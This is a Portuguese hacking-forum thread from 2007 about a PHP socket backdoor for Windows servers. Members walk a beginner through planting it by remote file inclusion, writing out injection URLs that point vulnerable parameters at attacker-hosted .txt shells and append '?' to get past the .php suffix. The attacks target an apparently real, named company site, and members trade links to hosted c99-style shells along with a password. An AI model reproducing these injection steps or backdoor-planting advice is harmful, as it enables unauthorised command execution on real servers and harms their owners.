FORUM DARKERS

Tecnologia & Informática => Programação => PhP/Html => Topic started by: branco on 26 de December , 2007, 05:28:27 PM

Title: PHPShell [backdoor]
Post by: branco on 26 de December , 2007, 05:28:27 PM
pequeno backdoor que utilizarei em futuros artigos, mas já pode ser utilizado.

http://brancohat.blogspot.com/2007/12/b ... ndows.html (http://brancohat.blogspot.com/2007/12/backdoor-em-php-para-windows.html)
Title: Re: PHPShell [backdoor]
Post by: Mateus on 26 de December , 2007, 05:52:58 PM
Branco, muito bom trabalho, Porem não vejo a nescessidade de fazer um backdoor desses em php usando sockets (Gostei da orientação a objetos), me parece muito mais facil rapido e sensato fazer em uma linguagem compilada com C# C++ delphi e etc

espere que não encare como flame,

Att. Mateus
Title: Re: PHPShell [backdoor]
Post by: branco on 26 de December , 2007, 07:48:08 PM
rsrs entendo...mas pense comigo :

um servidor está vulneravel a PHP injection, se você mandar ele incluir um backdoor em C++ por exemplo, ele não vai processa-lo e ai esse backdoor não vai adiantar em nada.

agora, se ele for em PHP, o servidor irá interpreta-lo e você vai poder se conectar por telnet por exemplo =]

por enquanto ele não faz nada de útil mesmo...oque ele faz agente pode fazer bem melhor com uma CMD por exemplo.

ele vai ser usado em futuros artigos, onde será de grande valor.

até  ;)
Title: Re: PHPShell [backdoor]
Post by: Mateus on 26 de December , 2007, 07:59:30 PM
sim mas lembra do exepiration time do php?
ele só vai durar 30 segs rodando a não ser que vc rode ele como em

Quote[root@localhost mateus]# php backdoor.php

e se é pra rodar assim da pra rodar um em c++ ou c# por exemplo ^^  fora que pelo que eu vi só roda em windows

mas volto a elogiar pq foi muito bem programado ^^


Mateus
Title: Re: PHPShell [backdoor]
Post by: branco on 26 de December , 2007, 08:09:31 PM
hehe acho que não chegou a ler toda "documentação" que escrevi né =]

segue oque foi dito no blog :

Quote"pontos a considerarmos :

1 - Quando a função socket_read do PHP é utilizada com o argumento PHP_NORMAL_READ, ela lê até encontrar \r ou \n, por isso é necessário haver uma compatibilidade entre nosso backdoor e o cliente. O telnet por exemplo, quando apertamos enter gera um "\r" que faz com que a função pare de lê e execute oque foi digitado.
Da mesma maneira, para o telnet gerar uma nova linha, utilizamos "\n\r".
Caso seja necessário esse valor pode ser mudado na definição da constante NEW_LINE


2 - set_time_limit não pode ser mudado quando safe_mode está on, por isso nosso backdoor reescreve max_execution_time para 90000000, assim ele poderá esperar por conexões enquando o servidor estiver ligado.

3 - a função execCommand quando não encontra a variável de ambiente ComSpec, utiliza a constante CMD_DIR para encontrar o cmd.exe do servidor, caso esse não seja o diretório correto, você deve modifica-la. ( isso é, se você conhece o diretório correto )

4 - o backdoor foi feito para PHP 4, apesar de eu ter utilizado PHP 5 no desenvolvimento. Se fosse feito para versões 5, deixaria de executar em muitos servidores desatualizados.

se não entenderam algo, entrem em contato."


vale ressaltar ainda que a tecnica que mostrarei no futuro artigo se basea em windows, apesar que com algumas modificações poderemos executar em outros SO, porém isso foge do meu objetivo de conseguir acesso root e ao desktop do windows.

estou escrevendo webhackers 2, e as tecnicas serão mais pro windows, e mostrarão as diversas tecnicas de se conseguir acesso ao desktop do servidor.

até  ;)
Title: Re: PHPShell [backdoor]
Post by: Mateus on 26 de December , 2007, 08:27:30 PM
sorry, não vi que existia uma "documentação" só dei uma olhada bem por cima no codigo tb não vi a parte do execution time ^^, neste caso não tenho mais nada a comentar sobre o código, tá limpo, bem estruturado e bem comentado, parabéns

mas.......estava lendo o resto do blog, e gostaria de ressaltar a minha admiração pelo trabalho que você está desenvolvendo....falando directa e e claramente sabendo do que está falando, sobre "hacking"

greetz...keep going!

au revoir, Mateus
Title: Re: PHPShell [backdoor]
Post by: rmoraes on 26 de December , 2007, 09:29:16 PM
Tenho uma dúvida  ???

Vlw aeee
Title: Re: PHPShell [backdoor]
Post by: Wuefez on 26 de December , 2007, 09:37:54 PM
Tem um problema se você rodar o script por linha de comando pelo cmd, ou acessar ele pelo browser, quando você fechar o cmd ou fechar o browser o php vai matar o script automaticamente, obviamente fazendo teu backdoor fechar......

Da uma olhada nessa função e ve se resolve teu problema:
http://br.php.net/ignore_user_abort (http://br.php.net/ignore_user_abort)

Mas em geral ta bem legal.. Eu não perderia tempo com OOP pra um script tão pequeno, mas se você quer fazer bem feito, faça...

Agora @rmoraes, "min" é com M no final!
Title: Re: PHPShell [backdoor]
Post by: branco on 26 de December , 2007, 10:37:25 PM
Quotesorry, não vi que existia uma "documentação" só dei uma olhada bem por cima no codigo tb não vi a parte do execution time ^^, neste caso não tenho mais nada a comentar sobre o código, tá limpo, bem estruturado e bem comentado, parabéns

mas.......estava lendo o resto do blog, e gostaria de ressaltar a minha admiração pelo trabalho que você está desenvolvendo....falando directa e claramente sabendo do que está falando, sobre "hacking"

muito obrigado ^^

Quote from: "rmoraes"Tenho uma dúvida  ???

Vlw aeee

é a mesma coisa que injetar uma cmd rmoraes, faça um arquivo txt com o código do backdoor e hospede-o, em seguida faça o seguinte :

www.site.com.br/menuid=onde-est (http://www.site.com.br/menuid=onde-est)á-o-código-do-backdoor.txt

prontim =]

eu ainda nao hospedei no meu server porque ele esta com problemas, sorry

Quote from: "Wuefez"Tem um problema se você rodar o script por linha de comando pelo cmd, ou acessar ele pelo browser, quando você fechar o cmd ou fechar o browser o php vai matar o script automaticamente, obviamente fazendo teu backdoor fechar......

Da uma olhada nessa função e ve se resolve teu problema:
http://br.php.net/ignore_user_abort (http://br.php.net/ignore_user_abort)

Mas em geral ta bem legal.. Eu não perderia tempo com OOP pra um script tão pequeno, mas se você quer fazer bem feito, faça...

Agora @rmoraes, "min" é com M no final!

Wuefez, meu objetivo é que as pessoas utilizem esse trojan com PHP injection, só assim ele será útil, se não eu poderia como o amigo Mateus disse, fazer coisas melhores em C++, Perl, Java, etc...

ou seja, na linha de comandos eu nem testei ele, porque não foi feito pra essa finalidade, porém no browser eu testei e ele não parou de aguardar conexões, a porta continuou aberta e respondendo a pedidos.
você testou ai e ao feixar o browser o backdoor parou de responder ?

estou no pc da minha irmã, se não voltaria a fazer mais testes, porém agora estou incapacitado, meu irmão esta no outro...

quanto a não perde tempo com POO, eu já penso diferente...
imagine que você tem um projeto pequeno e o fez estruturado.
se você for acrescentar mais coisas e torna-lo "grande", terá de reescreve-lo.
agora, se você tivesse escrito ele com os conceitos da POO, teria apenas que atualiza-lo.

-

vlw pelos comentarios, qualquer duvida ou sugestao postem ae =]

enjoy
Title: Re: PHPShell [backdoor]
Post by: rmoraes on 26 de December , 2007, 10:59:49 PM
Wuefez valeu por me corrigir :)

Irei fazer teste hoje mesmo é coloco o resultado branco
valeu aeee!
Title: Re: PHPShell [backdoor]
Post by: rmoraes on 27 de December , 2007, 01:44:53 AM
Desculpe o flood, eu não vi o botão editar . . .

Vamos ver se entedi primeiro eu copio o backdoor salvo ele na extensão
.txt upo ele no site é executo-o dessa forma:

http://www.site.net/teste.txt (http://www.site.net/teste.txt)

E depois como faço para conectar a ele atraves do Telnet?
è este backdoor so funciona para windows ou unix também?

Expliquem como conectar e executa-lo sou iniciante peguem leve pessoal  :-\

Abraço
Title: Re: PHPShell [backdoor]
Post by: branco on 27 de December , 2007, 08:49:28 AM
agora que você fez o upload rmoraes, você vai utilizar ele como se fosse uma cmd

vai usar assim :www.site.com.br/?menuid=http://www.site.net/teste.txt

ai o include vai incluir o backdoor, sua pagina em PHP vai interpreta-lo e ele vai se executar !

ai basta você ir ao telnet e se conectar ao servidor que você incluiu o backdoor na porta 666

assim poderá executar comandos do sistema.
Title: Re: PHPShell [backdoor]
Post by: rmoraes on 27 de December , 2007, 10:07:02 AM
Branco,

Eu fiz o upload do backdoor.txt no site pela c99 porém quando fui
injetar o backdoor deste modo:

http://www.calidadempresaria.net/main.p ... ckdoor.txt (http://www.calidadempresaria.net/main.php?mostrar=http://www.calidadempresaria.net/backdoor.txt)

Ocorreu este erro como na Imagem o que posso ter feito de errado
eu coloquei o site com a falha para você me ajudar  :)

(//http://img167.imageshack.us/img167/597/57393580vs5.jpg)

Vlw !!!
Title: Re: PHPShell [backdoor]
Post by: branco on 27 de December , 2007, 10:39:49 AM
não consegui encontrar o backdoor em http://www.calidadempresaria.net/backdoor.txt (http://www.calidadempresaria.net/backdoor.txt)

mas tipo, coloca o
vo editar no meu blog, esqueci de colocar
vlws, tamo chegando lá rsrs =p
Title: Re: PHPShell [backdoor]
Post by: rmoraes on 27 de December , 2007, 10:50:20 AM
Branco, coloquei o
A desculpe o backdoor está com o nome rmoraes.txt eu injetei desta forma:

http://www.calidadempresaria.net/main.p ... moraes.txt (http://www.calidadempresaria.net/main.php?mostrar=http://www.calidadempresaria.net/rmoraes.txt)

Erro:

(//http://img151.imageshack.us/img151/1886/12vk3.jpg)

Disserto o motivo do erro acima e porquê a shell não aceita comandos? Eu acho que não  :(

Vlw !!!
Title: Re: PHPShell [backdoor]
Post by: Anonymous on 27 de December , 2007, 11:28:02 AM
Fui utilizar em um determinado site

http://www.site.com.br/modules.php?name ... killer.txt (http://www.site.com.br/modules.php?name=http://br.geocities.com/killerbathacker/killer.txt)

e apareceu o seguinte

"Hi and Bye"
Title: Re: PHPShell [backdoor]
Post by: Mateus on 27 de December , 2007, 12:54:22 PM
faltou o caráctere "?" no final no final da url....leia o erro e vai perceber que o php ta adicionando .php no final da sua url, na hora de incluir se vc colocar o ? vai ficar http://balbalba.com/balba.php?page=http ... l.txt?.php (http://balbalba.com/balba.php?page=http://shell/maligna/domal.txt?.php) fazendo com que o.php seja passado como varivel GET para a requisição do arquivo.txt ^^
Title: Re: PHPShell [backdoor]
Post by: rmoraes on 27 de December , 2007, 12:59:28 PM
Matheus,

Porém ao colocar o ? ficando deste modo rmoraes.txt? ele ocorre o erro:

(//http://img201.imageshack.us/img201/3736/24622853gc9.jpg)

Veja a imagem ai  ;)
Title: Re: PHPShell [backdoor]
Post by: Mateus on 27 de December , 2007, 01:13:34 PM
isso ai já erro outro erro...o secure mode deve tar on no servidor...tenta com outra cmd...a que eu mais gosto é a nst pode usar a minha em http://www.shedjsimone.ch/gallery/bjorn2.txt (http://www.shedjsimone.ch/gallery/bjorn2.txt)
Title: Re: PHPShell [backdoor]
Post by: rmoraes on 27 de December , 2007, 01:34:32 PM
Matheus o site está Safe-mode: OFF (secure) é com permissão para Upload
pórem quando tento executar comandos na shell volta para a pagina
inicial acho que é isto que não está deixando o backdoor injetar pode ser isto?

Site: http://www.calidadempresaria.net/main.php?mostrar= (http://www.calidadempresaria.net/main.php?mostrar=)

 :-\
Title: Re: PHPShell [backdoor]
Post by: Mateus on 27 de December , 2007, 02:26:10 PM
não sei se vc olhou o codigo mas logo no começo ele copia o arquivo pra dentro de bjorn.php no seu servidor...tenta aí acessar http://calidad (http://calidad) não sei o que/bjorn.php se pedir senha a senha é meandme e se der um erro de copia no começo não ligue
Title: Re: PHPShell [backdoor]
Post by: branco on 27 de December , 2007, 03:36:43 PM
Quote from: "rmoraes"Matheus,

Porém ao colocar o ? ficando deste modo rmoraes.txt? ele ocorre o erro:

(//http://img201.imageshack.us/img201/3736/24622853gc9.jpg)

Veja a imagem ai  ;)

Quote from: "killer.bat"Fui utilizar em um determinado site

http://www.site.com.br/modules.php?name ... killer.txt (http://www.site.com.br/modules.php?name=http://br.geocities.com/killerbathacker/killer.txt)

e apareceu o seguinte

"Hi and Bye"

rsrs pelo visto o site não está vulneravel a PHP injection, e o administrador brincou com vc...

have fun !
Title: Re: PHPShell [backdoor]
Post by: rmoraes on 27 de December , 2007, 04:00:36 PM
Branco, muito obrigado irei salvar o backdoor aqui é econtrar um servidor
windows para testá-lo.

Branco se nao for pedir muito pode disponibilizar o codigo fonte da sua CMD
com informações sobre o servidor, para min guardar e poder usar
futuramente?

Poderia se tive tempo me indicar um backdoor para Sistemas Unix ?
que voce ja utilizou?

Vlw !!!!
Title: Re: PHPShell [backdoor]
Post by: branco on 27 de December , 2007, 04:16:54 PM
rmoraes, entre em http://www.calidadempresaria.net/main.p ... arkers.txt (http://www.calidadempresaria.net/main.php?mostrar=http://www.nershess.orgfree.com/darkers.txt)?
e salve a página no seu computador, assim terá sempre que precisar as configurações.
mas lembre-se que elas podem mudar, caso o servidor nao seja seu, o administrador pode mudar as configurações.

olha, backdoor em PHP eu nunca vi, logo nunca utilizei, mas talvez você encontre algum pela net.
se não encontrar me mande uma mp que eu darei um jeito de apressar a atualização do PHPShell para rodar em linux.

se sua vontade de obter acesso root a esse servidor for tanta, aprenda Perl, faça um backdoor e o coloque na pasta cgi-bin.

assim o seu backdoor em perl poderá executar comandos no servidor com permissao de usuário www-data

vale ressaltar que isso vai apenas "burlar" o disable_functions, assim se você utilizar uma cmd para acessar o servidor e perceber que com as funções que estao desabilitadas você nao poderá fazer muita coisa, nem adianta perder tempo com um backdoor em Perl.
em principio, tudo que o backdoor em perl pode fazer, o PHP tambem pode, a unica coisa que está nos limitando é o disable_functions.

boa sorte ^^

antes que eu me esqueça, o código de fonte da cmd pode encontrar em :
http://nershess.orgfree.com/darkers.txt (http://nershess.orgfree.com/darkers.txt)
caso queira estuda-la...porem eu nao aconselho, pois fiz ela totalmente estruturada e esta muito bagunçada, como esqueci a senha do servidor nershess.orgfree.com, nem posso fazer uma atualização =\

eu estava criando outra em Ajax, até postei no darkers, só que o rapidshare expirou e eu perdi ela...agora to sem tempo pra criar outra.
tem muitas com código mais fácil de entender por ai, só procurar ^^

flws, have fun
Title: Re: PHPShell [backdoor]
Post by: rmoraes on 27 de December , 2007, 04:24:24 PM
Branco

Valeu mesmo cara !!! O dia quer der para terminar seu backdoor para
rodar em linux me mande um MP quando postar  :D

Vo estudar sim.
Abraços
Title: Re: PHPShell [backdoor]
Post by: rmoraes on 17 de January , 2008, 01:23:54 PM
branco ,

Eu novamente aqui te dando trabalho ... estou com acesso a um servidor Iss 5.0 e tenho permissão de upload, será que se eu upar este backdoor ele irá se conectar?  :D

vlw
Title: Re: PHPShell [backdoor]
Post by: branco on 17 de January , 2008, 03:13:30 PM
se o servidor tiver rodando php  :P

até